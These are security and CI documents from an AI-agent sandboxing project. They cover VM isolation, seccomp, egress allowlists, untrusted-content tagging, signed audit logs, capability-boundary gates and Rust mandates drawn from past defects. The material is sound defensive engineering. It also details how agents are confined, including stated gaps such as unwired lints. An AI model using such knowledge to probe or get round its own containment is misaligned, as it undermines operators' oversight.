4) Isolation (VM Boundary)

• Rootfs is read-only
  • Pass: image configured read-only; scratch is explicit and limited.
  • Current: DONE (when image spec requests it).
  • Evidence: scripts/firecracker/build-rootfs.sh, crates/nucleus-node/src/main.rs
• Guest has no extra services
  • Pass: init runs tool-proxy only.
  • Current: DONE.
  • Evidence: crates/nucleus-guest-init/src/main.rs
• Seccomp enforced
  • Pass: seccomp profile configured and verified post-spawn.
  • Current: DONE (config applied via apply_seccomp_flags; post-spawn /proc/{pid}/status verification checks mode=2).
  • Evidence: crates/nucleus-node/src/main.rs (verify_seccomp_active, apply_seccomp_flags), crates/nucleus-spec/src/lib.rs (SeccompSpec)

4.5) Monotone Security Posture (Immutability)

• No privilege relaxation after creation
  • Pass: permission state can only tighten or the pod is terminated.
  • Current: DONE (Lean 4 + Kani-proven E1-E3 enforcement boundary + runtime debug_assert).
  • Evidence: crates/portcullis/src/kani.rs (E1: exposure monotonicity, E2: trace monotonicity, E3: denial monotonicity), crates/portcullis-core/lean/ (Lean theorems), crates/portcullis/src/guard.rs (debug_assert in execute_and_record)
• Network policy drift detection
  • Pass: host checks iptables drift and fails closed on deviation.
  • Current: DONE.
  • Evidence: crates/nucleus-node/src/net.rs, crates/nucleus-node/src/main.rs
• Seccomp immutability documented
  • Pass: docs explicitly state seccomp is fixed at Firecracker spawn.
  • Current: DONE.
  • Evidence: docs/architecture/overview.md, README.md

5) Audit + Integrity

• Audit log signatures
  • Pass: log entries are signed; verification tool exists.
  • Current: DONE (signatures enforced; verifier available).
  • Evidence: crates/nucleus-tool-proxy/src/main.rs, crates/nucleus-audit/src/main.rs
• Remote append-only storage
  • Pass: logs shipped to append-only store (or immutability proof).
  • Current: DONE (S3AuditBackend with if_none_match("*") append-only semantics; behind remote-audit feature flag).
  • Evidence: crates/portcullis/src/s3_audit_backend.rs, crates/nucleus-spec/src/lib.rs (AuditSinkSpec)

6) Formal Assurance Gates

• ν laws proven in CI
  • Pass: Lean/Kani proof jobs run in CI and block merges on failure.
  • Current: DONE (113 Kani harnesses + ~277 Lean 4 theorems; both gated on main — Kani via count-regression per-PR + full nightly, Lean via sorry-rejection on the Aeneas-bridged core).
  • Evidence: .github/workflows/kani-nightly.yml, .github/workflows/portcullis-core-proven-lean.yml, .github/workflows/aeneas-ifc-scoped.yml, crates/portcullis/src/kani.rs, crates/portcullis-core/lean/
• Fuzzing in CI
  • Pass: cargo-fuzz targets run with time budget; known bypasses blocked.
  • Current: DONE (3 fuzz targets × 30s; Fuzz is a required merge check on main).
  • Evidence: fuzz/, .github/workflows/ci.yml

6.5) Web Ingress Control

• MIME type gating on web_fetch
  • Pass: only text and structured data MIME types are allowed; binary formats blocked.
  • Current: DONE (allowlist: text/*, application/json, application/xml, etc.).
  • Evidence: crates/nucleus-tool-proxy/src/main.rs (web_fetch handler)
• Exposure provenance on fetched content
  • Pass: all web-fetched content is tagged with X-Nucleus-Exposure: UntrustedContent + source domain.
  • Current: DONE.
  • Evidence: crates/nucleus-tool-proxy/src/main.rs (response headers)
• URL pattern allowlisting
  • Pass: per-pod URL pattern allowlist via NetworkSpec.url_allow.
  • Current: DONE (glob-style matching; empty = allow all permitted domains).
  • Evidence: crates/nucleus-spec/src/lib.rs (NetworkSpec), crates/nucleus-tool-proxy/src/main.rs

7) Demo Verification Script

• Network policy test
  • Pass: scripts/firecracker/test-network.sh passes with allow/deny.
  • Current: DONE (manual).
  • Evidence: scripts/firecracker/test-network.sh

Exit Criteria (Full Hardened Demo)

All items above at DONE, and:

• Enforced CLI path is the default.
• IPv6 + DNS allowlisting are covered.
• Signed approvals + audit verification are implemented.
• CI gates (Kani + fuzz + integration tests) are in place.

CI Assurance — what is proved, decided, tested, and not yet

The CI pipeline and merge queue are held to the standard of the runtime (ADR 0002). This document is the ledger of that claim, in the form docs/north-star.md uses: one row per clause, a status from a closed vocabulary, evidence handles that must dereference, and the gate that catches the status regressing. scripts/check-ci-assurance-ledger.sh enforces every column, pins the population (rows may only be added; a removal is an owner decision recorded in scripts/ci-assurance-ledger-ratchet.txt), and pins the NOT-YET count so a promotion lowers it in the same change and a demotion raises it on the record.

The sentence. A required check that is green is green because it ran, on the merge queue’s branch, and could have failed; the merge queue merges in order, is not ejected by its own timeout when the work fits, and matches the configuration this tree describes.

Status vocabulary

Status — what is proved, what is decided, what is not yet

Clause fragments quote the sentence above; the ledger gate checks they do. A row whose status is PROVED names a theorem; DECIDED names a rule id or function and a fixture; TESTED names the code and the workflow that runs it against GitHub; NOT-YET names the file that states the gap.

What each mechanism does NOT establish

• ci-spec reads YAML; it does not run gates. A structurally sound gate can assert the wrong thing. Gate detection is the exit 1 / ::error:: heuristic inherited from proofcard, stated as such; cross-step dataflow (a lake build in one step establishing the files a later grep reads) is not modelled and is allowlisted with that reason.
• The Lean model is hand-written, not extracted. The Rust mirror is bound to it by golden vectors and proptest — probabilistic and finite, as the K4 parity file says of itself; a bounded Kani proof of the mirror is NOT-YET (CI-11). The CI configuration itself is not in Lean; ci-spec‘s decisions are the theorems’ hypotheses.
• Twins straddle. A change touching both a filtered and an unfiltered path fires both twins under one name (twin_both_iff). GitHub decides which check run the rollup reads; ci-spec reports the shape, it does not fix it.
• Live parity needs a token. Reading branch protection needs repository Administration: read; without CI_ASSURANCE_TOKEN the scheduled job is red by design.
• The capacity model has independent jobs. needs: chains, speculative groups (max_entries_to_build > 1) and runner start-up latency are not modelled; the pin is concurrency 1 and live parity holds it.

How to reproduce

cargo xtask ci-spec check                    # I1–I9 over the tree; exit 0 / 1 / 2
cargo xtask ci-spec live-parity              # ledger ↔ GitHub (needs an admin-read token)
cargo xtask ci-spec trace-check --since-hours 24
scripts/check-ci-spec-golden.sh              # Rust mirror ↔ Lean model, by decide
scripts/check-ci-spec-bite.sh                # the bite adds no semantics
scripts/check-ci-assurance-ledger.sh         # this table cannot outrun its wiring
scripts/check-gates-can-fail.sh              # every gate reds on its subject
(cd ci/lean && lake build CiSpec CiSpecBite) # the theorems
scripts/lean-axiom-audit.sh ci/lean CiSpec,CiSpecBite

The economic layer boundary

Economics never widens authority.

Every economics epic in this repository (#2498–#2503) states the same governing constraint. This page is its home, and cargo xtask econ-boundary is the gate that decides the part of it a program can decide (#2514).

The invariant

The deny-by-default capability boundary — Kernel::decide, LatticeCertificate, run_gate — decides whether an agent may act. The economic layer — nucleus-econ-kernels, nucleus-permission-market, nucleus-creditworthiness, nucleus-externality, and everything built on them — decides only:

• price — what an already-authorised request costs;
• collateral — what standing or bond participation requires;
• allocation — which of several already-authorised requests gets a scarce slot;
• payout, rebate, slash — where money moves afterwards.

The single point where the two layers touch is cert_bridge::intersect_grant_with_certificate, and it is a meet: it can narrow what a request may do, never widen it. Bond and reputation may gate market participation; they may never gate PodSpec or admission (#2438, #2474). Nucleus is non-custodial: it verifies external locks and emits signed evidence, and never holds funds.

Why it needs a gate

The defect is the easiest one in the repository to write. A reputation score in the admission path. A bid ceiling consulted by levels_for. A price that makes certificate_denies_endpoint say yes. Each is a few lines, each compiles, each reads as reasonable in review — and each turns the enforcement boundary into something a number can move. The proofs about that boundary (chain_attenuates_monotone, the IFC noninterference family) are proofs about code that does not consult prices. The moment it does, they are about something else.

What the gate decides

cargo xtask econ-boundary runs in Manifest Guards and asks three questions:

1. Do the authority crates reach an economic crate? nucleus-ifc-kernel, portcullis-core and ck-policy, transitively, per cargo metadata. A dependency edge is the only way an import can exist, so this is the structural half.
2. Do the decision functions in run_gate.rs name an economic type? The crate as a whole legitimately depends on the market — it renders a 402 from a PermissionGrant — so the rule is per function. Each named decision function’s body is parsed with syn, and a path rooted at an economic crate, or a use of one, fails. The names are pinned; a decision function that is renamed is reported rather than silently unguarded.
3. Does pod_authority.rs name an economic type anywhere? It is the host’s admission path and holds the root key. No.

And it anchors the sentence above to code: cert_bridge.rs must still define intersect_grant_with_certificate. If the meet moves, six epics are pointing at nothing, and the gate says so.

Per A-19 the gate was driven red on a planted nucleus_permission_market path inside levels_for before its green was trusted.

What the gate does not decide

That the meet is a meet. A function of that name that joined would pass this gate. The Kani harness effective ≤ verified.effective() (#2513) is the check on that. This gate decides reachability; that one decides semantics; neither substitutes for the other.

It also does not reach the private platform, which consumes these crates by pinned revision. The constraint is stated for nucleus and enforced here; a downstream that widens authority with a price has left the guarantee, and ADR 0009 is where that line is drawn.

ADR 0009 — the public/private line

• Status: accepted (2026-09-20)
• Applies to: every manifest in this workspace, docs/, and any proposal to move code into or out of this repository
• Numbered 0009 rather than 0008: #2973 opened first and claimed 0008. Two files named 0008-*.md would not have conflicted in git — different names — so the collision would have survived a merge and been discovered by a reader, which is the wrong place to discover it.
• Related: ADR 0003 draws the same kind of line for the merge queue; CLAUDE.md §“Runtime and control-plane ownership” draws it for gatehouse specifically. This ADR states the general rule those two are instances of.

Context

Nucleus is MIT-licensed and public. It is developed alongside private sibling repositories that build products on it. The boundary between them has been real for months and has never been written down in this repository, which means it has been enforced in exactly one direction: a private sibling runs a script that fails if one of its crates appears in nucleus’s dependency graph, and nucleus runs nothing.

The facts as of this commit:

• Nucleus declares zero git dependencies and zero path dependencies that escape the workspace root. The property holds today by habit.
• The private siblings consume nucleus the other way round — by pinned git rev, with the stated intent of moving to crates.io version dependencies — for nucleus-oidc-core, nucleus-github-oidc, nucleus-fly-oidc, nucleus-policy-kernel, nucleus-policy-cert, nucleus-lineage, nucleus-ifc, nucleus-ifc-kernel, portcullis and portcullis-core.
• The direction of travel has been consistent: vendor-neutral, key-free primitives migrate private → public and become canonical here. nucleus-oidc-core and the two OIDC validators made that trip; docs/oidc-vendor-neutrality-audit.md is the record of how the split was decided, symbol by symbol.
• The same shape is stated independently in three places already — nucleus-control-plane’s README (“JobRunner is a trait … concrete agent integrations … live in downstream crates … never here”), the vendor-side repository that carries the assistant-specific half of nucleus run, and the private isolation gate.

What is missing is the rule itself: a test a contributor can apply to a new crate without asking, and a gate that fails if the dependency arrow ever reverses.

Decision

Nucleus contains everything a stranger needs to check an agent’s authority, and the mechanism that decides it. Everything required to operate a business on top of that lives elsewhere.

Three tests. A component belongs in this repository if and only if all three hold.

1. Neutral. No vendor, no tenant, no price list, no operator identity is baked in. A trait whose implementations are vendor-specific is neutral; the implementation is not.
2. Key-free and fund-free. It holds no production signing key, no custody, and no customer data. Verifying a signature is in scope. Being the signer, in production, is not.
3. Checkable. Its output is a proof, a receipt, or a decision a third party can recompute from declared inputs.

Two consequences are load-bearing.

The dependency arrow is one-way, and nucleus enforces it from its own side. A private repository may depend on nucleus by version or by rev. Nucleus depends on nothing private — no git dependency, no alternate registry, no path dependency escaping the repository, no optional feature that reaches one. This is the monotonicity condition on a visibility assignment Vis : Crate → {public ⊑ private}: a public crate may never depend on a private one.

cargo xtask visibility decides it, over the resolved graph as cargo metadata reports it and over every manifest the repository tracks — both halves, because neither alone is enough. A manifest sweep cannot see a package a git-sourced dependency pulls in (dlc-d declares dlc-d-macro, and no manifest here names it), and a root-level graph query cannot see the thirteen satellite workspaces this repository carries. Per A-19 the gate was driven red on the real defect — a coproduct-private git dependency in a satellite — before its green was trusted.

Git dependencies are permitted only where enumerated, one by one, in the gate. The rule is about privacy, and a git dependency on a public sibling does not cross the line; but it makes the build depend on a host rather than on crates.io, and a repository that is public today can be made private tomorrow without a line changing here. So they are listed rather than pattern-matched, which keeps the set finite and re-verifiable. As of this ADR it is five names across two upstreams: dlc-core, dlc-crypto, dlc-d and dlc-d-macro from the public coproduct-opensource/delegation_calc, and clippy_utils from rust-lang/rust-clippy, which the dylint passes link against and which is deliberately never published.

The right to check is never sold. Verification — the receipt formats, the recompute kernels, the offline verifiers, the proofs — stays MIT, forkable, and runnable with no service call to us. Convenience above the proof may be sold. The proof may not be gated. The day checking requires our permission, the guarantee this repository exists to make is worth what our permission is worth, which is nothing a stranger can verify.

Where a component fails a test, the split is the trait seam, not a fork: the neutral half stays here and the failing half becomes a downstream implementation. docs/oidc-vendor-neutrality-audit.md is the worked example, and the general form is the one nucleus-control-plane already uses.

What this does not claim

This ADR states the rule; it does not publish the inventory. Which sibling repositories exist, what each contains, and which side each sits on is recorded privately, because the rule is a commitment we make and the inventory is a fact about a portfolio. A reader of this repository needs the first to know what nucleus will and will not become; they do not need the second.

It does not claim the line is clean today. README.md already documents that the reference agent runner shipped with nucleus run is coupled to one assistant CLI and that nucleus-spec hardcodes vendor hostnames — both fail test 1, both are known, and the Known Gaps section is where their status lives. Neither is grandfathered by this ADR; the rule is what they are measured against.

It does not settle licensing beyond what is already true: this repository is MIT, and nothing here proposes a second license, a source-available tier, or a copyleft boundary.

Finally, it does not make the gate a proof of good faith. The gate decides one mechanical question — does a manifest reach outside the public world — and a contributor who wants to put operator-specific logic in a neutral crate can pass it easily. Tests 1 and 3 are review’s job, and naming them here is what makes “review caught it” a citation rather than an opinion.

ADR 0007 — Make the defect unwritable: thirty-nine Rust mandates from the defect record

• Status: accepted (2026-09-11) for the mandates; partially wired — four entries in clippy.toml (C-1, C-5, H-1 ×2) plus cargo xtask clippy-config, the rest carry a named enforcement target and a measured baseline.
• Tracks: a full review of coproduct-opensource/nucleus (2,248 commits) and coproduct-private/gatehouse (232 commits + 62 FINDINGS.md rows), 2026-09-11
• Applies to: all Rust under crates/ and tools/. New code from this ADR forward; existing code as each file is touched.

Context

A review scored every fix, refactor and security commit in both repositories against three architectures: writ matured as a plan language, a rewrite of the decision core in writ, and a proof-oriented Rust fork. 252 defect records were read from real diffs — 103 in effectful code, 149 pure.

The architecture question is settled elsewhere. This ADR is about the residue, and the residue is the largest single actionable result of the review:

58 of 252 records — 23% — were defects whose refusal needs no language extension, no verifier, no rewrite, and no fork. The type discipline already existed in stable Rust and was not applied.

That number is not a consolation prize. It is larger than what the plan language reaches on its own, it costs nothing to adopt, and it is available today rather than after a research programme. Five of the strongest cases in the whole study — named struct fields, exhaustive enums, #[derive(Deserialize)] plus a for loop, move semantics, sealed constructors — needed nothing that was not already shipping.

The load-bearing example is f7f9719b. DischargedBundle was already !Clone, !Copy and #[must_use] — every affine signal Rust offers was present — and a one-shot authorization could still be replayed, because three signatures took it by &. No language feature was missing. The refactor was the fix, and a written rule would have been cheaper. That is the thesis of this ADR: where the mechanism exists and the defect recurs anyway, what is missing is a mandate, not a type system.

This mirrors ADR 0006’s finding one level down. 0006 found mechanisms built, machine-proved, and not wired to the enforcement path. This ADR finds mechanisms built into the language itself, and not reached for.

What the review measured about this tree

Numbers below are from 2026-09-11 and are quoted rather than estimated, because the first pass of this analysis overstated three of them by counting imports and macro text instead of call sites:

Decision

Thirty-nine mandates in nine families. Each carries an id, a headline stated so a static analyser could in principle decide it, the defect that motivated it with its commit, and the tier that enforces it. Ids are stable and are cited from clippy.toml and from lint sources.

Rule ids are not a priority order. Families are grouped by the shape of the error, which is how the corpus clustered.

Family A — Sum types that lost a case

The largest family. Two or more outcomes with different consequences share one constructor, and the collapse is invisible because the caller cannot see what was merged. Every member was fixed by adding an arm.

A-1 — A bool may not carry a decision whose domain has three or more outcomes. Narrowing happens at the signature, where it is invisible to every caller downstream. gatehouse 0109d29 narrowed a three-valued decision to a boolean at a function boundary. dc97daaa used a Bool where the domain had three inhabitants, and the else-branch of one field became the success path for a different finding entirely. This is CLAUDE.md’s own Merged | Ejected | InFlight argument restated as a rule. Enforcement: review.

A-2 — “I could not look” is never “I looked and it was fine.” A check that can be unable to observe its subject must not be able to return success. 417ea1b0 — a verifier may not succeed where it cannot check. b0b2d07e hung a “pod booted” claim off a constructor that also meant “nothing was verified”. The positive constructor should carry the evidence — Confirmed(SeccompMode) — so a platform that cannot observe the mode cannot construct it. Enforcement: dylint (proposed evidence_free_success).

A-3 — A search returns Result<Vec<T>, E>. “Found nothing” and “could not search” are different constructors. The grep trap from CLAUDE.md in Rust clothing. 9fe86607: two Lean sorry-bans could pass having scanned nothing, because a clean result and a failed scan were both encoded as no output. Compare ci-spec GI002. Enforcement: review.

A-4 — No blanket map_err onto a single variant. 15e3530f — an errno is not an authorization decision. Fourteen sites in sandbox.rs mapped every filesystem error to PathDenied, so “audit is a directory” was reported as a policy denial with a 403, sending readers to inspect a policy that had no part in it. Enforcement: review; a dylint on map_err closures that ignore the matched value is tractable and proposed.

A-5 — Absence is a third value, never a pass. The shape that made GitHub count a skipped required check as passed, and that gatehouse F-28 records as “absence is a third value conflated with pass”. Any question of the form “did every declared thing report?” is a set difference over the declared set, never a conjunction over what happened to arrive. Enforcement: dylint, on gate code under crates/xtask and crates/ci-spec.

A-6 — A sum type keeps its payload. 60c22053: a sum type lost its payload, forcing a stringly-typed side channel that every consumer re-parsed independently — so the parses could disagree, with no place they could be made to agree. Enforcement: review.

A-7 — Mutually exclusive alternatives are an enum, not an untyped map. 079bc6c6: a sum stored as a map let mutually exclusive alternatives co-occur and required fields be absent — and the malformed value then passed through signing, which is where a schema stops being a convenience. Enforcement: review.

A-8 — Split a rejection type when its halves carry different consequences. gatehouse 112bea6: one Reject conflated “this claim is internally false” with “this claim answers a different question”, and the punitive action hung off the union — so a routine plan edit or toolchain bump became a trust-destroying event that quarantined an honest signer. Enforcement: review.

Family B — Defaults that grant

Every member fails open. An absent operand silently supplies the permissive value.

B-1 — No #[derive(Default)] on a security-relevant type. af52442c: an omitted declaration silently supplied the dangerous value, because the type had a total order with a distinguished element and the derive picked it. The derive does not know which end of the lattice is safe. Write Default by hand at the restrictive end, or do not implement it. Enforcement: dylint (proposed derived_default_on_authority), scoped to types reachable from PodSpec, Cap, Authority and the lattice types.

B-2 — Option<T> may not mean “unrestricted” when None. 7348f024: an optional configuration where absent silently meant unrestricted — “no ceiling was set” and “no ceiling applies” became the same constructor. Make the field total so the unconfigured state has no value. #2440 did exactly this: narrowing is unconditional. Enforcement: dylint, same scope as B-1.

B-3 — A _ => arm in a policy match denies. Prefer no fallthrough at all. 661606a9: a total function from an open domain (strings) to a closed one (operations), whose fallthrough arm was chosen permissive. Close the domain — parse to an enum at the boundary — and the arm disappears.

Baseline measured 2026-09-11, because “once the baseline is walked down” was written here without a number and a rule nobody can cost is a rule nobody starts:

So the rule found exactly one live defect in 118 arms, and the cost of turning the lint on is dominated by portcullis’s 83 — almost none of which are policy matches. A scoped lint (policy crates, non-test targets) is therefore much cheaper than the raw count suggests, and is the proposed next step rather than a workspace-wide deny.

Enforcement: clippy wildcard_enum_match_arm, once the baseline is walked down; see §Enforcement for why it is not on today.

B-4 — No unwrap_or / unwrap_or_default on an operand that decides a gate or a permission. The Rust spelling of [ "$V" -lt N ] with an empty $V, which ci-spec GI006 exists to find. 79604ae4 replaced four vacuous ratchets whose numeric verdict rested on an operand nothing established; 61c0b1dd had an absent field defaulted to a sentinel that made the predicate vacuous. Enforcement: dylint, scoped to gate and policy crates. Not a workspace clippy deny — measured baseline 2026-09-11 is 218 unwrap_or_default and 584 unwrap_or call sites tree-wide, the overwhelming majority benign.

B-5 — A declaration with no consumer is a defect. Two independent instances. 4401ab61: the operator writes a constraint, the parser accepts it, and nothing is obliged to read it — enforcement silently differs from what was declared. 3242ebf0: a field that must be either honoured or refused was simply never read. This is gatehouse F-16’s shape inverted — there, a predicate with no operand; here, an operand with no predicate. Rust cannot force relevance the way a linear type can. What it can do is E-1. Enforcement: dylint, via E-1.

Family C — Evidence and witnesses

A value is trusted for a property it carries no evidence of. This is the family where the codebase already had the right pattern in one place and the wrong one three hundred lines away.

C-1 — A type that names evidence has a private constructor. A witness type whose fields are public is not a witness — anyone can fabricate it. 60c22053 measured exactly this: GuardedAction seals its constructor correctly and Authorized, three hundred lines away in the same crate, does not. Enforcement: clippy.toml, wired today (std::mem::transmute), plus review for the constructor itself. See §Enforcement for what the wired half does and does not cover.

C-2 — Evidence is minted by the thing that checks, never by the caller. 023b7c7f: a predicate over two values the caller supplied, called a proof — authority derived from function arguments rather than from authenticated evidence. 61c0b1dd is the same shape one level up: a comparison between two values written by the same untrusted producer, called verification. Enforcement: review.

C-3 — A capability is indexed by what it authorizes. A token proving a check ran is not a token proving this check ran. e080c4d7: a read authority could pay for a sandbox write. f8b06284: a read bundle could authorize a write, because the token’s subject rode as an inert data field instead of a type index, so any token substituted for any other. portcullis-effects already had CapToken<OpRead> — the language was never the blocker. Enforcement: review.

C-4 — A one-shot right is taken by value. A & on a consuming parameter is the bug. The single most instructive record in the corpus, and the origin of this ADR. f7f9719b: DischargedBundle was !Clone, !Copy, #[must_use], and replayable, because three methods took it by reference. Affine intent expressed with a non-affine calling convention. Enforcement: dylint, already wired — not proposed. Corrected 2026-09-11; the line below used to read “proposed authority_by_reference”, which understated what exists and would have had someone build a second pass beside a working one.

tools/nucleus-mediation-lint enforces the by-value half of this rule today. It closes a call graph and flags a publicly reachable path that reaches raw I/O without demanding an Authority by value — &Authority is explicitly not a boundary, and the pass carries a UI fixture named borrowed_authority_is_not_a_boundary for exactly that case.

What it covers, precisely, because “dylint” alone reads as more than it is:

Measured 2026-09-11: 0 &Authority in production code across crates/. The only occurrence in the tree is the lint’s own UI fixture. C-4 holds today; what is missing is not compliance but a gate that would notice if it stopped holding.

C-5 — Capability and authority types are !Clone, !Copy, #[must_use]. Necessary and — per C-4 — not sufficient. Stated separately so the derive list is checkable mechanically while the calling convention is checked by C-4. Enforcement: clippy.toml, wired today for the leak escape hatch; dylint for the derive list.

C-6 — Two witnesses that must both hold need an operator that conjoins them. 60c22053: two independent witnesses required together, with no combinator producing the conjunction — so holding both was a convention at each call site rather than a value anyone could pass. Enforcement: review.

Family D — Order as a type

“X must happen before Y”, held by nothing but the order of statements in a function.

D-1 — An ordering invariant is a value, not source-line adjacency. 5b6d0a8d — boot typestate: exec only from Sealed — is the model, and it shipped in stock Rust: PhantomData state parameters plus a private-constructor SealedProof only Boot<Sealed>::exec can mint. ef54df79 is the same defect unfixed: the identity bridge started after the health check that depended on it. Enforcement: review.

D-2 — A safety-critical construction sequence is not replicated per call site. a346ab27 routed three sync spawns through one spawn_checked; f1aac68e unified one argv predicate across two spawn paths. The half-built object gets its own type and the terminal method exists only on the finished one — Command<Unhardened> → Command<Hardened>, with spawn on Hardened alone. This reaches all 133 Command::new sites. Enforcement: dylint (proposed unhardened_spawn), extending the existing nucleus-mediation-lint.

D-3 — A compile_fail doctest is not a substitute for a type. Where the type already refuses the program, the refusal needs no test. 5b6d0a8d shipped with three compile_fail doctests standing in for the guarantee; a doctest can be deleted, skipped, or fail for the wrong reason, and none of those is visible at the call site. Enforcement: review.

Family E — Records and exhaustiveness

A record grows a field and the places that should have been forced to consider it were not. 60c22053 names the remedy: mechanism, not vigilance.

E-1 — No .. in a record pattern on a delegation or policy path. 60c22053: an invariant that must hold over all fields of a record was enforced by naming some of them, so a thirteenth field would be granted to children by default. Exhaustive destructuring makes that E0027 — the build breaks until someone decides what the new field means. Enforcement: dylint (proposed rest_pattern_on_policy_path).

E-2 — A policy enum is matched exhaustively. A new variant must break the build. a17fa16f: the isolation backend was read from an environment variable rather than derived from the driver that enforces it. Making the posture an exhaustive function of DriverKind means a new driver is a compile error before it is a mis-declared posture. Enforcement: clippy wildcard_enum_match_arm, scoped; see §Enforcement.

E-3 — Three or more components means named fields, never a positional tuple. The defect writ documents against itself. prelude/ci.writ:83-86: “inserting a field mid-tuple renumbers every accessor after it and silently reinterprets every existing literal’s remaining fields as the wrong types.” gatehouse F-34 is that hazard firing anyway against a second positional reader in Rust. Enforcement: review; clippy has no scoped equivalent.

Family F — Derive, never restate

A structural fact about a datatype — its fields, its width, its count, its encoding — written out a second time by hand, with nothing holding the two equal.

F-1 — Serialization is derived, never hand-written. gatehouse b2ded50: a hand-written format drifted from its datatype, and the differential meant to catch the drift was blind to anything that never reached the artifact. #[derive(Serialize, Deserialize)] makes a dropped section unwritable. Enforcement: review.

F-2 — Config is one Deserialize struct and a loop over the parsed collection. 3ba99eb9, in its own words: “a for loop over a parsed Vec cannot enforce only its head, and one Deserialize struct cannot diverge from itself.” It replaced a hand-rolled parser reading only the first entry of a declared list. gatehouse F-20 is the same file read by two independent awk programs with different field sets — dead fields in one, load-bearing in the other. Enforcement: covered by the CLAUDE.md “gates are Rust, not shell” mandate; review for new Rust parsers.

F-3 — A count, width or arity is never restated as a literal beside the thing it counts. gatehouse F-13: a migration count restated beside the array it counts became a merge artifact with no textual conflict — two branches each appended a migration, git merged clean, the count went to 14 and three assertions still pinned 13. F-43 is the same shape where the restated thing is a type’s arity. Enforcement: review. Note this rule does not apply to the deliberate population pins (PINNED, CLAUSES, NOT_YET, UNCOVERED_CEILING), which are two-directional ratchets whose entire purpose is to require a human decision — see §Consequences.

F-4 — One algorithm, generic. Never N monomorphic copies. gatehouse fafe910: one algorithm forced into N copies by a non-parametric eliminator. In writ that is a kernel limitation — listRec is closed-element-type, so allNat, allBytes, allGate, allEdge and allLink all exist separately. In Rust the copies simply never exist, which is worth stating precisely because it is free here and expensive there. Enforcement: review.

Family G — One decider per fact

Thirty records — the second-largest class in the study. One fact written down twice, with no term, type or gate holding the copies equal.

G-1 — If a fact is written twice, delete one. A parity test is not a fix. 3f850437 states the principle against itself: a parity test leaves two copies and converts the next drift into a test failure rather than an impossibility. Enforcement: review.

G-2 — Where a second copy is unavoidable, the gate lives at the declaration. gatehouse ccc5c46: a declared value well-formed locally and unusable by the external system it was handed to, with the validator one layer away from the declaration. gatehouse F-21 is the two-sided version — an import digest and a build ref that must move together, where testing the wrong side produced the wrong diagnosis and a closed PR. Enforcement: review; ci/merge-group-scope-parity.sh is the existing model.

G-3 — A collection carrying a uniqueness law is a keyed map, not a Vec. 1702fb12 — “one re-run per workflow per PR” as a type, not a rule to remember. Vec<RunId> became BTreeMap<(Pr, Workflow), Run> and duplicates collapse on insertion. The commit states its own dependent-type reading and then notes that a map is the proof-carrying representation. Enforcement: review.

Family H — Ambient authority

An effect performed by any code that can name a constructor, with the policy bounding it living as a value somewhere else that nothing forces the call site to consult.

H-1 — No std::env::set_var or std::env::remove_var. 7caaa1a8: a value intended for one scope written into ambient global state, so every later reader in the process tree inherits authority nobody granted them. nucleus-guest-init already did this migration — src/main.rs:88 records that 28 values used to be set_var. Enforcement: clippy.toml, wired. Measured 2026-09-11: 0 production call sites. Every remaining site is inside #[cfg(test)] and carries an #[expect(clippy::disallowed_methods, reason = "ADR 0007 H-1: test-only process-global mutation")]. The count is 25, not the 27 estimated here from grep — two of the matches were comments, and nine of the 25 were invisible to the root config until the nucleus-tool-proxy shadow was closed. #[expect] rather than #[allow] on purpose: when a site stops mutating the environment the expectation becomes unfulfilled and the attribute must be deleted, so the suppression cannot outlive its reason (B-5).

H-2 — A client that performs an effect is constructible only from a witness. 57920b28 — a pod cannot build a client for a host its own policy forbids — introduced an Admitted witness with no public constructor, mintable only by EgressPolicy::admit(host). 8ef8d45d then made the witness the only door with the unpoliced_http_client dylint. That pairing is the template for every new effect surface, and it is the one place in the corpus where a lint beside the language was the right answer rather than a workaround. Enforcement: dylint — nucleus-egress-lint exists; extend per effect surface.

H-3 — A single-writer resource is owned, not named by path. af52442c: a resource with exactly one writer’s worth of meaning was aliased by every pod that named its path — and a comment named a guard that did not exist. A comment asserting an invariant nothing enforces is worse than no comment, because it stops the next reader looking. Enforcement: review.

Family I — Gates that can fail

The rules that keep a check from being green for the wrong reason. These are the Rust restatement of the shell traps enumerated in CLAUDE.md, plus the two that survive the move to Rust.

I-1 — Every gate is driven red on the real defect before it ships. A-19 is a row of gatehouse’s assurance ledger and UNCOVERED_CEILING = 0 lives in gatehouse’s crates/xtask/src/gates.rs:21; this repository’s own CLAUDE.md already cites both in the “gates are Rust, not shell” mandate. nucleus has no local equivalent constant — its gate probes live in crates/xtask/src/{allowlist_gates,law_mechanisms}.rs without a population ceiling, which is itself worth fixing and is out of scope here. f7f9719b carries a gate whose green was indistinguishable from vacuity; gatehouse F-12 records the subtler failure — a probe whose subject is red either way is never recorded as probed, and the accounting then reports a coverage gap when the fault is a broken subject. This rule applies to every lint proposed in this ADR, including the two already wired. Enforcement: review today; a nucleus-side probe ceiling is the proposed follow-up.

I-2 — Parse to a type. A string compared to a string is not a check. gatehouse e8f7582: a value crossed a trust boundary as text, and relating it to the number the predicate decides on needed a decoder the language did not have — so the check was silently delegated. str::parse returns Result; there is no empty inhabitant of usize. Use both. Enforcement: review.

I-3 — The error path and the allow path may not share an exit status. 8ec7bf72: absence of a decision encoded identically to a permissive decision. 74ba4c8b is the same at a finer grain — a lock acquisition whose failure is indistinguishable from its success at the call site, an errno-shaped result read as a boolean. Enforcement: review.

I-4 — An ordering question is not answered by substring matching. b797ec00: an ordering question answered by substring matching, and a non-convex admissible set approximated by a single floor. Implement Ord, or enumerate the set. An approximation whose error is one-sided in the permissive direction is a permission bug, not a precision one. Enforcement: review.

Enforcement

Three tiers, in descending order of preference. The tier is named on every rule above so that “review” is on the record as a gap rather than mistaken for coverage.

Which four. mediated, cb4a_separation, identity-isolation and egress run in .github/workflows/dylint-separation.yml. nucleus-observed-lint and nucleus-guarantee-lint are built and wired to nothing — no workflow, no script; guarantee appears in the tree only as an exclude comment in the root manifest. The line above read “six exist today”, which counts crates rather than coverage and is the membership-versus-enforcement confusion ADR 0006 is about, inside this ADR’s own enforcement table. observed is the source-side dual of mediated — it asks whether every path that ingests external bytes reaches FlowTracker::observe* — so the gap it leaves is an antecedent the IFC theorems assume and nothing checks.

Why it is unwired, measured 2026-09-11 rather than assumed. It builds and runs — cargo dylint --lib nucleus_observed_lint -- -p nucleus-tool-proxy completes on macOS, so the SIP constraint recorded in dylint-separation.yml:20-25 binds compiletest (UI tests) and not the pass itself. It reports 85 ingests-without-observe findings over that crate, so a gate at zero is not available today. Two distinct causes, both in the lint:

